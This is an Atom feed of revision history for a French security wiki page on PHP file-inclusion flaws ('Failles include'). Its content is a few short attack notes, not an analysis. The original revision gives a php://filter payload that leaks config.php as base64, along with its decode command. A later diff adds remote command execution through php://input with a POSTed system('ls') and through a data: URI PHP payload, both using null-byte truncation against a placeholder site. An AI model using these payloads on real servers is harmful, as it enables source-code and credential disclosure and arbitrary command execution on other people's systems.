https://futex.re/mediawiki/index.php?action=history&feed=atom&title=1.8_Failles_include 2026-04-19T12:34:02Z Historique des versions pour cette page sur le wiki MediaWiki 1.39.17 https://futex.re/mediawiki/index.php?title=1.8_Failles_include&diff=2528&oldid=prev 2015-08-23T20:49:15Z

<p></p> <table style="background-color: #fff; color: #202122;" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="fr"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Version précédente</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version du 23 août 2015 à 20:49</td> </tr><tr> <td colspan="2" class="diff-lineno">Ligne 5 :</td> <td colspan="2" class="diff-lineno">Ligne 5 :</td> </tr> <tr> <td class="diff-marker"></td> <td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Reste plus qu'à le décoder pour avoir la page en clair</div></td> <td class="diff-marker"></td> <td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Reste plus qu'à le décoder pour avoir la page en clair</div></td> </tr> <tr> <td class="diff-marker"></td> <td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div> echo "cHJvdXQ=" | base64 -d</div></td> <td class="diff-marker"></td> <td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div> echo "cHJvdXQ=" | base64 -d</div></td> </tr> <tr> <td colspan="2" class="diff-empty diff-side-deleted"></td> <td class="diff-marker" data-marker="+"></td> <td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><br /></td> </tr> <tr> <td colspan="2" class="diff-empty diff-side-deleted"></td> <td class="diff-marker" data-marker="+"></td> <td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>On peut executer aussi des commandes en utilisant php://input ou data:text/plaintext (le null byte est nécessaire suivant le filtre..)</div></td> </tr> <tr> <td colspan="2" class="diff-empty diff-side-deleted"></td> <td class="diff-marker" data-marker="+"></td> <td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div> http://www.pwnsite.com/index.php?page=php://input%00 (passé en paramètre POST &lt;? system("ls"); ?&gt;)</div></td> </tr> <tr> <td colspan="2" class="diff-empty diff-side-deleted"></td> <td class="diff-marker" data-marker="+"></td> <td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div> http://www.pwnsite.com/index.php?page=data:text/plaintext,&lt;?php $files = scandir('./');print_r($files); ?&gt;%00</div></td> </tr> </table>

Futex https://futex.re/mediawiki/index.php?title=1.8_Failles_include&diff=2523&oldid=prev 2015-07-20T08:17:55Z

<p></p> <p><b>Nouvelle page</b></p><div>Lire un script PHP à la volé mettre dans l&#039;include:<br /> <br /> http://www.pwnsite.com/index.php?page=php://filter/convert.base64-encode/resource=config.php%00<br /> <br /> Reste plus qu&#039;à le décoder pour avoir la page en clair<br /> echo &quot;cHJvdXQ=&quot; | base64 -d</div>

Futex